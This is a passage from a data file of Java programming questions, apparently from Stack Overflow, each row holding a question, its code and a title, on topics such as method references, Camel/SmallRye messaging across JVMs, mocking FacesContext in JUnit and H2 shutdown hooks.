4 , 1 , 1 , 1 , 3 ] 3 : [ 4 , 1 , 1 , 1 , 4 ] 4 : [ 4 , 1 , 1 , 2 , 2 ] 5 : [ 4 , 1 , 1 , 2 , 3 ] 6 : [ 4 , 1 , 1 , 2 , 4 ] 7 : [ 4 , 1 , 1 , 3 , 4 ] 8 : [ 4 , 1 , 2 , 2 , 3 ] 9 : [ 4 , 1 , 2 , 2 , 4 ] 10 : [ 4 , 1 , 2 , 3 , 4 ] 11 : [ 4 , 2 , 2 , 3 , 4 ] complete",How can I improve my algorithm for generating combinations of a multiset ? +Java,"I have a stream of files that I want to filter based on the ending of the file name : While the lambda in the last line is not bad , I thought I could use method references there as well , like so : Or alternatively wrapped in parentheses . However , this fails with The target type of this expression must be a functional interfaceCan you explain why this does n't work ?",public Stream < File > getFiles ( String ending ) throws IOException { return Files.walk ( this.path ) .filter ( Files : :isRegularFile ) .map ( Path : :toFile ) .filter ( file - > file.getName ( ) .endsWith ( ending ) ) ; } .filter ( File : :getName.endsWith ( ending ) ) ;,Call a method on the return value of a method reference +Java,"The Iterable interface has the method below : The Collection interface extends Iterable , and it also declares the same method . I am doubtful what was the need of putting the same method declaration twice while designing Java collections ?",Iterator < T > iterator ( ) ;,Why is the iterator method present in both Iterable and Collection interfaces ? +Java,In the following scenarioWhy is it always necessary to flush the buffer after initial creation ? I see this all the time and I do n't really understand what has to be flushed . I kind of expect newly created variables to be empty unless otherwise is specified.Kind of like buying a trash-can and finding a tiny pile of trash inside that came with it .,ObjectOutputStream output = new ObjectOutputStream ( socket.getOutputStream ( ) ) ; output.flush ( ) ; // Do stuff with it,Why is it necessary to flush the output buffer when it was just created ? +Java,"I have Spring Boot ( 2.0.0 M5 ) application which provides some REST API . I 'd like to implement this API using RouterFunctions.While I 'm running app using embedded Jetty everything works fine . When I convert the app to WAR file ( following documentation here ) and deploy it to Tomcat 8.5 I always get 404 when trying to call any of the endpoints.I can see in the log that endpoints are recognised : But when calling curl -v http : //localhost:8080/demo/say-hello or curl -v http : //localhost:8080/demo/api/v1/status I see default Tomcat 404 page . The path is correct , I rename .war to demo.war before deploying it.Did anybody come across similar issue ? You can find the code here .","[ ost-startStop-1 ] s.w.r.r.m.a.RequestMappingHandlerMapping : Mapped `` { [ /say-hello ] , methods= [ GET ] } '' onto java.lang.String com.example.demo.DemoController.test ( ) [ ost-startStop-1 ] o.s.w.r.f.s.s.RouterFunctionMapping : Mapped /api = > { /v1 = > { /status - > com.example.demo.DemoApplication $ $ Lambda $ 189/1904651750 @ 5fdc83e } }",Spring Web Reactive not working as war file deployed on Tomcat 8.5 +Java,"Below is my attempt at a Apache Camel reactive streams solution to connect a publisher to a subscriber ( code for camel routes is shown below ) across JVM 's To enable the communication to span JVMs , it seems a `` broker '' server is required . Therefore , I 've implemented Artemis broker and modified application.properties files accordingly ( as per my best understanding of how to do so ) .Also , to narrow the focus , have chosen to use the smallrye-ampq connector.Problem : The subscriber should be receiving and logging the the String value ( from the body ) : -- Instead , it is logging the values , like this : Question : why is the payload send by the publisher not reaching the subscriber and what code/configuration can I modify to fix it ? thx in advance for any help ! -- -The `` Publisher '' routemicroprofile-config.properties - publisherrelevant console log excerpt ( ? ) - publisherthe `` Subscriber '' routemicroprofile-config.properties - subscriberrelevant console log excerpt ( ? ) - subscriberNOTE : above output should be showing numbers ... rather than , e.g. , `` Exchange [ ID-LAPTOP-4LR4PMVQ-1576639597494-0-289 ] '' , etc ... : - ( essentially same maven pom.xml for each docker-compose.yml ( Artemis ) technologies used ( was using this link as a resource : https : //smallrye.io/smallrye-reactive-messaging/ )","-- - : blahblahblah : blahblahblah : blahblahblah -- - -- - : Exchange [ ID-LAPTOP-4LR4PMVQ-1576639597494-0-289 ] : Exchange [ ID-LAPTOP-4LR4PMVQ-1576639597494-0-292 ] : Exchange [ ID-LAPTOP-4LR4PMVQ-1576639597494-0-295 ] -- - package aaa.bbb.ccc.jar ; import javax.enterprise.context.ApplicationScoped ; import javax.inject.Inject ; import org.eclipse.microprofile.reactive.messaging.Outgoing ; import org.reactivestreams.Publisher ; import org.apache.camel.CamelContext ; import org.apache.camel.builder.RouteBuilder ; import org.apache.camel.component.reactive.streams.api.CamelReactiveStreamsService ; import org.apache.camel.component.reactive.streams.api.CamelReactiveStreams ; import org.apache.camel.Exchange ; import org.apache.camel.Processor ; @ ApplicationScopedpublic class CamelPub extends RouteBuilder { @ Inject CamelContext ctx ; CamelReactiveStreamsService crss ; static int x = 0 ; @ Outgoing ( `` data '' ) public Publisher < Exchange > source ( ) { return crss.from ( `` seda : thesource '' ) ; } @ Override public void configure ( ) { crss = CamelReactiveStreams.get ( ctx ) ; from ( `` timer : //thetimer ? period=1000 '' ) .process ( new Processor ( ) { @ Override public void process ( Exchange msg ) throws Exception { msg.getIn ( ) .setBody ( `` blahblahblah '' ) ; // ( Integer.toString ( x++ ) ) ; } } ) .log ( `` ... ... . PUB ... ... . camelpub - body : $ { body } '' ) .to ( `` direct : thesource '' ) ; } } injected.value=Injected valuevalue=lookup value # Microprofile server propertiesserver.port=8084server.host=0.0.0.0mp.messaging.outgoing.data.connector=smallrye-amqpmp.messaging.outgoing.data.host=localhostmp.messaging.outgoing.data.port=5672mp.messaging.outgoing.data.username=artusermp.messaging.outgoing.data.password=artpasswordmp.messaging.outgoing.data.endpoint-uri : seda : thesourcemp.messaging.outgoing.data.broadcast=truemp.messaging.outgoing.data.durable=true ... -- - exec-maven-plugin:1.5.0 : exec ( default-cli ) @ camelpub -- -2019.12.17 22:26:34 INFO io.helidon.microprofile.server.Main Thread [ main,5 , main ] : Logging configured using classpath : /logging.properties2019.12.17 22:26:35 INFO org.jboss.weld.Version Thread [ main,5 , main ] : WELD-000900 : 3.1.1 ( Final ) 2019.12.17 22:26:35 INFO org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-ENV-000020 : Using jandex for bean discovery2019.12.17 22:26:35 WARN org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-001208 : Error when validating null @ 6 against xsd . cvc-complex-type.4 : Attribute 'bean-discovery-mode ' must appear on element 'beans'.2019.12.17 22:26:35 INFO org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-000101 : Transactional services not available . Injection of @ Inject UserTransaction not available . Transactional observers will be invoked synchronously.2019.12.17 22:26:36 INFO org.jboss.weld.Event Thread [ main,5 , main ] : WELD-000411 : Observer method [ BackedAnnotatedMethod ] public org.glassfish.jersey.ext.cdi1x.internal.ProcessAllAnnotatedTypes.processAnnotatedType ( @ Observes ProcessAnnotatedType < ? > , BeanManager ) receives events for all annotated types . Consider restricting events using @ WithAnnotations or a generic type with bounds.2019.12.17 22:26:36 INFO org.jboss.weld.Event Thread [ main,5 , main ] : WELD-000411 : Observer method [ BackedAnnotatedMethod ] private io.helidon.microprofile.openapi.IndexBuilder.processAnnotatedType ( @ Observes ProcessAnnotatedType < X > ) receives events for all annotated types . Consider restricting events using @ WithAnnotations or a generic type with bounds.2019.12.17 22:26:36 INFO org.jboss.weld.Event Thread [ main,5 , main ] : WELD-000411 : Observer method [ BackedAnnotatedMethod ] private org.apache.camel.cdi.CdiCamelExtension.processAnnotatedType ( @ Observes ProcessAnnotatedType < ? > ) receives events for all annotated types . Consider restricting events using @ WithAnnotations or a generic type with bounds.2019.12.17 22:26:36 WARN org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-001101 : Member of array type or annotation type must be annotated @ NonBinding : [ EnhancedAnnotatedMethodImpl ] public abstract javax.enterprise.inject.Typed.value ( ) 2019.12.17 22:26:36 INFO org.apache.camel.cdi.CdiCamelExtension Thread [ main,5 , main ] : Camel CDI is starting Camel context [ camel-1 ] 2019.12.17 22:26:36 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Apache Camel 3.0.0 ( CamelContext : camel-1 ) is starting2019.12.17 22:26:36 INFO org.apache.camel.impl.engine.DefaultManagementStrategy Thread [ main,5 , main ] : JMX is disabled2019.12.17 22:26:37 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : StreamCaching is not in use . If using streams then its recommended to enable stream caching . See more details at http : //camel.apache.org/stream-caching.html2019.12.17 22:26:37 INFO org.apache.camel.component.seda.SedaEndpoint Thread [ main,5 , main ] : Endpoint seda : //thesource is using shared queue : seda : //thesource with size : 10002019.12.17 22:26:37 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Route : route1 started and consuming from : timer : //thetimer ? period=10002019.12.17 22:26:37 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Total 1 routes , of which 1 are started2019.12.17 22:26:37 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Apache Camel 3.0.0 ( CamelContext : camel-1 ) started in 0.191 seconds2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.extension.ReactiveMessagingExtension Thread [ main,5 , main ] : Analyzing mediator bean : Managed Bean [ class aaa.bbb.ccc.jar.CamelPub ] with qualifiers [ @ Any @ Default ] 2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Scanning Type : class aaa.bbb.ccc.jar.CamelPub2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Deployment done ... start processing2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.impl.ConfiguredChannelFactory Thread [ main,5 , main ] : Found incoming connectors : [ ] 2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.impl.ConfiguredChannelFactory Thread [ main,5 , main ] : Found outgoing connectors : [ ] 2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.impl.ConfiguredChannelFactory Thread [ main,5 , main ] : Stream manager initializing ... 2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Initializing mediators2019.12.17 22:26:37 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Route : route2 started and consuming from : seda : //thesource2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Connecting mediators2019.12.17 22:26:37 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Connecting method aaa.bbb.ccc.jar.CamelPub # source to sink data2019.12.17 22:26:37 INFO org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-ENV-002003 : Weld SE container e71e38c0-91ec-4758-a310-55f1368c6a9c initialized2019.12.17 22:26:37 WARNING io.helidon.microprofile.server.Server $ Builder Thread [ main,5 , main ] : Failed to find JAX-RS resource to use2019.12.17 22:26:37 INFO io.helidon.microprofile.security.SecurityMpService Thread [ main,5 , main ] : Security extension for microprofile is enabled , yet security configuration is missing from config ( requires providers configuration at key security.providers ) . Security will not have any valid provider.2019.12.17 22:26:37 INFO io.smallrye.openapi.api.OpenApiDocument Thread [ main,5 , main ] : OpenAPI document initialized : io.smallrye.openapi.api.models.OpenAPIImpl @ 57fbc06f2019.12.17 22:26:38 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - timer : //thetimer,5 , main ] : ... ... . PUB ... ... . camelpub - body : 02019.12.17 22:26:38 INFO io.helidon.webserver.NettyWebServer Thread [ main,5 , main ] : Version : 1.4.02019.12.17 22:26:38 INFO io.helidon.webserver.NettyWebServer Thread [ nioEventLoopGroup-2-1,10 , main ] : Channel ' @ default ' started : [ id : 0x52928b67 , L : /0:0:0:0:0:0:0:0:8084 ] 2019.12.17 22:26:38 INFO io.helidon.microprofile.server.ServerImpl Thread [ nioEventLoopGroup-2-1,10 , main ] : Server initialized on http : //localhost:8084 ( and all other host addresses ) in 3668 milliseconds.2019.12.17 22:26:39 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - timer : //thetimer,5 , main ] : ... ... . PUB ... ... . camelpub - body : 12019.12.17 22:26:40 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - timer : //thetimer,5 , main ] : ... ... . PUB ... ... . camelpub - body : 22019.12.17 22:26:41 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - timer : //thetimer,5 , main ] : ... ... . PUB ... ... . camelpub - body : 32019.12.17 22:26:42 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - timer : //thetimer,5 , main ] : ... ... . PUB ... ... . camelpub - body : 4 ... package aaa.bbb.ccc.jar ; import javax.inject.Inject ; import org.apache.camel.CamelContext ; import org.apache.camel.builder.RouteBuilder ; import org.apache.camel.component.reactive.streams.api.CamelReactiveStreamsService ; import javax.enterprise.context.ApplicationScoped ; import org.apache.camel.component.reactive.streams.api.CamelReactiveStreams ; import org.eclipse.microprofile.reactive.messaging.Incoming ; import org.reactivestreams.Subscriber ; @ ApplicationScopedpublic class CamelSub extends RouteBuilder { public CamelSub ( ) throws Exception { } @ Inject CamelContext ctx ; CamelReactiveStreamsService crss ; @ Incoming ( `` data '' ) public Subscriber < String > sink ( ) { return crss.subscriber ( `` seda : thesink '' , String.class ) ; } @ Override public void configure ( ) { crss = CamelReactiveStreams.get ( ctx ) ; from ( `` seda : thesink '' ) .convertBodyTo ( String.class ) .log ( `` ooooooo SUB ooooooo camelsub - body : $ { body } '' ) ; } } injected.value=Injected valuevalue=lookup value # Microprofile server propertiesserver.port=8082server.host=0.0.0.0mp.messaging.incoming.data.connector=smallrye-amqpmp.messaging.incoming.data.host=localhostmp.messaging.incoming.data.port=5672mp.messaging.incoming.data.username=artusermp.messaging.incoming.data.password=artpasswordmp.messaging.incoming.data.endpoint-uri : seda : thesinkmp.messaging.incoming.data.broadcast=truemp.messaging.incoming.data.durable=true ... -- - exec-maven-plugin:1.5.0 : exec ( default-cli ) @ camelsub -- -2019.12.17 22:28:09 INFO io.helidon.microprofile.server.Main Thread [ main,5 , main ] : Logging configured using classpath : /logging.properties2019.12.17 22:28:10 INFO org.jboss.weld.Version Thread [ main,5 , main ] : WELD-000900 : 3.1.1 ( Final ) 2019.12.17 22:28:10 INFO org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-ENV-000020 : Using jandex for bean discovery2019.12.17 22:28:10 WARN org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-001208 : Error when validating null @ 6 against xsd . cvc-complex-type.4 : Attribute 'bean-discovery-mode ' must appear on element 'beans'.2019.12.17 22:28:10 INFO org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-000101 : Transactional services not available . Injection of @ Inject UserTransaction not available . Transactional observers will be invoked synchronously.2019.12.17 22:28:10 INFO org.jboss.weld.Event Thread [ main,5 , main ] : WELD-000411 : Observer method [ BackedAnnotatedMethod ] public org.glassfish.jersey.ext.cdi1x.internal.ProcessAllAnnotatedTypes.processAnnotatedType ( @ Observes ProcessAnnotatedType < ? > , BeanManager ) receives events for all annotated types . Consider restricting events using @ WithAnnotations or a generic type with bounds.2019.12.17 22:28:10 INFO org.jboss.weld.Event Thread [ main,5 , main ] : WELD-000411 : Observer method [ BackedAnnotatedMethod ] private io.helidon.microprofile.openapi.IndexBuilder.processAnnotatedType ( @ Observes ProcessAnnotatedType < X > ) receives events for all annotated types . Consider restricting events using @ WithAnnotations or a generic type with bounds.2019.12.17 22:28:10 INFO org.jboss.weld.Event Thread [ main,5 , main ] : WELD-000411 : Observer method [ BackedAnnotatedMethod ] private org.apache.camel.cdi.CdiCamelExtension.processAnnotatedType ( @ Observes ProcessAnnotatedType < ? > ) receives events for all annotated types . Consider restricting events using @ WithAnnotations or a generic type with bounds.2019.12.17 22:28:10 WARN org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-001101 : Member of array type or annotation type must be annotated @ NonBinding : [ EnhancedAnnotatedMethodImpl ] public abstract javax.enterprise.inject.Typed.value ( ) 2019.12.17 22:28:11 INFO org.apache.camel.cdi.CdiCamelExtension Thread [ main,5 , main ] : Camel CDI is starting Camel context [ camel-1 ] 2019.12.17 22:28:11 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Apache Camel 3.0.0 ( CamelContext : camel-1 ) is starting2019.12.17 22:28:11 INFO org.apache.camel.impl.engine.DefaultManagementStrategy Thread [ main,5 , main ] : JMX is disabled2019.12.17 22:28:11 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : StreamCaching is not in use . If using streams then its recommended to enable stream caching . See more details at http : //camel.apache.org/stream-caching.html2019.12.17 22:28:11 INFO org.apache.camel.component.seda.SedaEndpoint Thread [ main,5 , main ] : Endpoint seda : //thesink is using shared queue : seda : //thesink with size : 10002019.12.17 22:28:11 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Route : route1 started and consuming from : seda : //thesink2019.12.17 22:28:11 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Total 1 routes , of which 1 are started2019.12.17 22:28:11 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Apache Camel 3.0.0 ( CamelContext : camel-1 ) started in 0.173 seconds2019.12.17 22:28:11 INFO io.smallrye.reactive.messaging.extension.ReactiveMessagingExtension Thread [ main,5 , main ] : Analyzing mediator bean : Managed Bean [ class aaa.bbb.ccc.jar.CamelSub ] with qualifiers [ @ Any @ Default ] 2019.12.17 22:28:11 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Scanning Type : class aaa.bbb.ccc.jar.CamelSub2019.12.17 22:28:11 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Deployment done ... start processing2019.12.17 22:28:11 INFO io.smallrye.reactive.messaging.impl.ConfiguredChannelFactory Thread [ main,5 , main ] : Found incoming connectors : [ ] 2019.12.17 22:28:11 INFO io.smallrye.reactive.messaging.impl.ConfiguredChannelFactory Thread [ main,5 , main ] : Found outgoing connectors : [ ] 2019.12.17 22:28:11 INFO io.smallrye.reactive.messaging.impl.ConfiguredChannelFactory Thread [ main,5 , main ] : Stream manager initializing ... 2019.12.17 22:28:12 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Initializing mediators2019.12.17 22:28:12 INFO org.apache.camel.impl.DefaultCamelContext Thread [ main,5 , main ] : Route : route2 started and consuming from : reactive-streams : //ID-LAPTOP-4LR4PMVQ-1576639692145-0-12019.12.17 22:28:12 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Connecting mediators2019.12.17 22:28:12 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Attempt to resolve aaa.bbb.ccc.jar.CamelSub # sink2019.12.17 22:28:12 INFO io.smallrye.reactive.messaging.extension.MediatorManager Thread [ main,5 , main ] : Connecting aaa.bbb.ccc.jar.CamelSub # sink to ` data ` ( org.eclipse.microprofile.reactive.streams.operators.core.PublisherBuilderImpl @ 3eda0aeb ) 2019.12.17 22:28:12 INFO org.jboss.weld.Bootstrap Thread [ main,5 , main ] : WELD-ENV-002003 : Weld SE container c1eaa1fb-486c-4b95-b56b-0f1a7b88f741 initialized2019.12.17 22:28:12 WARNING io.helidon.microprofile.server.Server $ Builder Thread [ main,5 , main ] : Failed to find JAX-RS resource to use2019.12.17 22:28:12 INFO io.helidon.microprofile.security.SecurityMpService Thread [ main,5 , main ] : Security extension for microprofile is enabled , yet security configuration is missing from config ( requires providers configuration at key security.providers ) . Security will not have any valid provider.2019.12.17 22:28:12 INFO io.smallrye.openapi.api.OpenApiDocument Thread [ main,5 , main ] : OpenAPI document initialized : io.smallrye.openapi.api.models.OpenAPIImpl @ 77f905e32019.12.17 22:28:12 INFO io.helidon.webserver.NettyWebServer Thread [ main,5 , main ] : Version : 1.4.02019.12.17 22:28:12 INFO io.helidon.webserver.NettyWebServer Thread [ nioEventLoopGroup-2-1,10 , main ] : Channel ' @ default ' started : [ id : 0xd8f72801 , L : /0:0:0:0:0:0:0:0:8082 ] 2019.12.17 22:28:12 INFO io.helidon.microprofile.server.ServerImpl Thread [ nioEventLoopGroup-2-1,10 , main ] : Server initialized on http : //localhost:8082 ( and all other host addresses ) in 3310 milliseconds.2019.12.17 22:28:13 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - seda : //thesink,5 , main ] : ooooooo SUB ooooooo camelsub - body : Exchange [ ID-LAPTOP-4LR4PMVQ-1576639597494-0-289 ] 2019.12.17 22:28:14 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - seda : //thesink,5 , main ] : ooooooo SUB ooooooo camelsub - body : Exchange [ ID-LAPTOP-4LR4PMVQ-1576639597494-0-292 ] 2019.12.17 22:28:15 INFO route1 Thread [ Camel ( camel-1 ) thread # 1 - seda : //thesink,5 , main ] : ooooooo SUB ooooooo camelsub - body : Exchange [ ID-LAPTOP-4LR4PMVQ-1576639597494-0-295 ] ... < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > aaa.bbb.ccc < /groupId > < artifactId > [ NOTE : essentially same pom.xml for both camelpub or camelsub ] < /artifactId > < version > 1.0 < /version > < properties > < helidonVersion > 1.4.0 < /helidonVersion > < package > aaa.bbb.ccc.jar < /package > < failOnMissingWebXml > false < /failOnMissingWebXml > < mpVersion > 3.2 < /mpVersion > < maven.compiler.source > 1.8 < /maven.compiler.source > < maven.compiler.target > 1.8 < /maven.compiler.target > < libs.classpath.prefix > libs < /libs.classpath.prefix > < mainClass > io.helidon.microprofile.server.Main < /mainClass > < jersey.version > 2.29 < /jersey.version > < copied.libs.dir > $ { project.build.directory } / $ { libs.classpath.prefix } < /copied.libs.dir > < camelversion > 3.0.0 < /camelversion > < /properties > < dependencies > < dependency > < groupId > org.eclipse.microprofile < /groupId > < artifactId > microprofile < /artifactId > < version > $ { mpVersion } < /version > < type > pom < /type > < scope > provided < /scope > < /dependency > < dependency > < groupId > org.eclipse.microprofile.reactive.messaging < /groupId > < artifactId > microprofile-reactive-messaging-api < /artifactId > < version > 1.0 < /version > < type > jar < /type > < /dependency > < dependency > < groupId > javax < /groupId > < artifactId > javaee-api < /artifactId > < version > 8.0 < /version > < type > jar < /type > < /dependency > < dependency > < groupId > org.apache.camel < /groupId > < artifactId > camel-core < /artifactId > < version > $ { camelversion } < /version > < /dependency > < dependency > < groupId > org.apache.camel < /groupId > < artifactId > camel-reactive-streams < /artifactId > < version > $ { camelversion } < /version > < /dependency > < dependency > < groupId > org.apache.camel < /groupId > < artifactId > camel-cdi < /artifactId > < version > $ { camelversion } < /version > < /dependency > < dependency > < groupId > io.smallrye.reactive < /groupId > < artifactId > smallrye-reactive-messaging-provider < /artifactId > < version > 1.0.8 < /version > < /dependency > < dependency > < groupId > io.smallrye.reactive < /groupId > < artifactId > smallrye-reactive-messaging-amqp < /artifactId > < version > 1.0.8 < /version > < /dependency > < dependency > < groupId > javax.enterprise < /groupId > < artifactId > cdi-api < /artifactId > < version > 2.0 < /version > < /dependency > < dependency > < groupId > io.helidon < /groupId > < artifactId > helidon-bom < /artifactId > < version > $ { helidonVersion } < /version > < type > pom < /type > < /dependency > < dependency > < groupId > org.jboss < /groupId > < artifactId > jandex < /artifactId > < version > 2.1.1.Final < /version > < scope > runtime < /scope > < optional > true < /optional > < /dependency > < dependency > < groupId > javax.activation < /groupId > < artifactId > javax.activation-api < /artifactId > < version > 1.2.0 < /version > < scope > runtime < /scope > < /dependency > < dependency > < groupId > org.glassfish.jersey.media < /groupId > < artifactId > jersey-media-json-binding < /artifactId > < version > $ { jersey.version } < /version > < /dependency > < dependency > < groupId > io.helidon.microprofile.bundles < /groupId > < artifactId > helidon-microprofile-3.0 < /artifactId > < version > $ { helidonVersion } < /version > < /dependency > < /dependencies > < build > < finalName > [ NOTE : essentially same pom.xml for both camelpub or camelsub ] < /finalName > < plugins > < plugin > < artifactId > maven-jar-plugin < /artifactId > < version > 2.5 < /version > < configuration > < archive > < manifest > < addClasspath > true < /addClasspath > < classpathPrefix > $ { libs.classpath.prefix } < /classpathPrefix > < mainClass > $ { mainClass } < /mainClass > < /manifest > < /archive > < /configuration > < /plugin > < plugin > < artifactId > maven-dependency-plugin < /artifactId > < version > 2.9 < /version > < executions > < execution > < id > copy-dependencies < /id > < phase > prepare-package < /phase > < goals > < goal > copy-dependencies < /goal > < /goals > < configuration > < outputDirectory > $ { copied.libs.dir } < /outputDirectory > < overWriteReleases > false < /overWriteReleases > < overWriteSnapshots > false < /overWriteSnapshots > < overWriteIfNewer > true < /overWriteIfNewer > < overWriteIfNewer > true < /overWriteIfNewer > < includeScope > runtime < /includeScope > < excludeScope > test < /excludeScope > < /configuration > < /execution > < /executions > < /plugin > < /plugins > < /build > < /project > # A docker compose file to start an Artemis AMQP broker # more details on https : //github.com/vromero/activemq-artemis-docker.version : ' 2'services : artemis : image : vromero/activemq-artemis:2.8.0-alpine ports : - `` 8161:8161 '' - `` 61616:61616 '' - `` 5672:5672 '' environment : ARTEMIS_USERNAME : artuser ARTEMIS_PASSWORD : artpassword java 8apache camelsmallryeartemisreactive streams/programming",Using Apache Camel/Smallrye/reactive streams - how can I connect a `` publisher '' to a `` subscriber '' across JVMs ? +Java,All the junit tests fail with NullPointerException when the bean uses FacesContext or creates an object of a class which uses FacesContext . Please suggest a way to test the code with junit.BeanTestERROR,"@ ManagedBean ( name = `` displayIssuesBean '' ) @ SessionScopedpublic class DisplayIssuesBean implements Serializable { private static final long serialVersionUID = -3017739535520843880L ; private static final Logger LOGGER = Logger.getLogger ( AddIssueBean.class ) ; private transient AddIssueDTO addNewIssueDTO = new AddIssueDTO ( ) ; private transient IDisplayIssues displayIssuesService = new DisplayIssuesService ( ) ; private transient List < String > projectNames = displayIssuesService .getProjectNames ( getEmailId ( ) ) ; private transient List < IssueDisplayDTO > issues = new ArrayList < IssueDisplayDTO > ( ) ; private transient List < IssueDisplayDTO > modifiedList = new ArrayList < IssueDisplayDTO > ( ) ; private String projectName ; private int projectId ; int firstId ; int secondId ; private transient IssueDisplayDTO backup1 ; private transient IssueDisplayDTO backup2 ; public String getEmailId ( ) { String emailid = FacesContext.getCurrentInstance ( ) .getExternalContext ( ) .getRemoteUser ( ) ; LOGGER.info ( emailid ) ; return emailid ; } public String setIssueTypeWithIssueTypeId ( int issueTypeId ) { String issueType = null ; if ( issueTypeId == 1 ) { issueType = `` Bug '' ; } else if ( issueTypeId == 2 ) { issueType = `` Story '' ; } else if ( issueTypeId == 3 ) { issueType = `` Task '' ; } return issueType ; } @ Test public void testIssueTypeWithIssueTypeId ( ) { DisplayIssuesBean bean = new DisplayIssuesBean ( ) ; assertEquals ( `` Bug '' , bean.setIssueTypeWithIssueTypeId ( 1 ) ) ; } java.lang.NullPointerException at com.jts1.controller.DisplayIssuesBean.getEmailId ( DisplayIssuesBean.java:104 ) at com.jts1.controller.DisplayIssuesBean. < init > ( DisplayIssuesBean.java:28 ) at com.jts1.test.DisplayIssuesTest.testIssueTypeWithIssueTypeId ( DisplayIssuesTest.java:13 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:483 ) at org.junit.runners.model.FrameworkMethod $ 1.runReflectiveCall ( FrameworkMethod.java:50 ) at org.junit.internal.runners.model.ReflectiveCallable.run ( ReflectiveCallable.java:12 ) at org.junit.runners.model.FrameworkMethod.invokeExplosively ( FrameworkMethod.java:47 ) at org.junit.internal.runners.statements.InvokeMethod.evaluate ( InvokeMethod.java:17 ) at org.junit.runners.ParentRunner.runLeaf ( ParentRunner.java:325 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:78 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:57 ) at org.junit.runners.ParentRunner $ 3.run ( ParentRunner.java:290 ) at org.junit.runners.ParentRunner $ 1.schedule ( ParentRunner.java:71 ) at org.junit.runners.ParentRunner.runChildren ( ParentRunner.java:288 ) at org.junit.runners.ParentRunner.access $ 000 ( ParentRunner.java:58 ) at org.junit.runners.ParentRunner $ 2.evaluate ( ParentRunner.java:268 ) at org.junit.runners.ParentRunner.run ( ParentRunner.java:363 ) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run ( JUnit4TestReference.java:50 ) at org.eclipse.jdt.internal.junit.runner.TestExecution.run ( TestExecution.java:38 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:459 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:675 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run ( RemoteTestRunner.java:382 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main ( RemoteTestRunner.java:192 )","how to mock FacesContext with JMockit , All the tests fail with NullPointerException" +Java,"I Have a shutdownhook , that is executed when the process is terminated . However the changes that the program makes to the h2 database are not persistent . Only if I let the shutdown thread wait some time after the commit , I will see the changes in the DB when I strat up again.Only with a sleep , I will see the changes next time I connect to the DB.Does anybody know how to wait for the H2 database to finish the operation before the process terminated ? I want to avoid a Thread.sleep ( ) with a random time ...","Runtime.getRuntime ( ) .addShutdownHook ( new Thread ( ) { @ Override public void run ( ) { // H2 db add row , commit and close Thread.sleep ( 1000 ) ; // in try/catch System.out.println ( `` Shutdown complete '' ) ; } }",Wait for threads to write changes in the shutdownhook 